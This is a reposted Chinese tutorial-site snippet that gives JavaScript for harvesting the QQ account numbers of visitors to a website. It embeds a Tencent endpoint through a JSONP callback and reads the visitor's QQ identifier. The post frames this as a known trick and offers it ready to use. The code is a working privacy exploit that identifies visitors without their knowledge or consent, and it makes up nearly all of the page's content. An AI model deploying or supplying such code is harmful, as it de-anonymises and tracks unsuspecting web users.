Home > php教程 > php手册 > body text

最新获取网站访客QQ接口代码-20141015

WBOY
Release: 2016-06-07 11:40:56
Original
1344 people have browsed it

分析某网站得到的一枚获取访客QQ的接口,原理和以前的一样jsonp 不废话,直接上代码,不懂的直接百度,这种技术应该早就烂大街了。
<script><br /> function getQQ(data){<br /> if(data.uin != 0){<br /> alert("获取到QQ:"+data.uin);<br /> }else{<br /> alert("未获取到QQ");<br /> }<br /> }<br /> var url = "http://c.v.qq.com/vuserfolders?otype=json&callback=getQQ&orderflag=0&pagenum=1&vnum=20&sorttype=0&&_=1401679876213"<br /> var script = document.createElement(&#039;script&#039;);<br /> script.setAttribute(&#039;src&#039;, url);<br /> document.getElementsByTagName(&#039;head&#039;)[0].appendChild(script);<br /> </script>http://www.120muban.com/code/js/195.html

AD:真正免费,域名+虚机+企业邮箱=0元

source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Recommendations
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template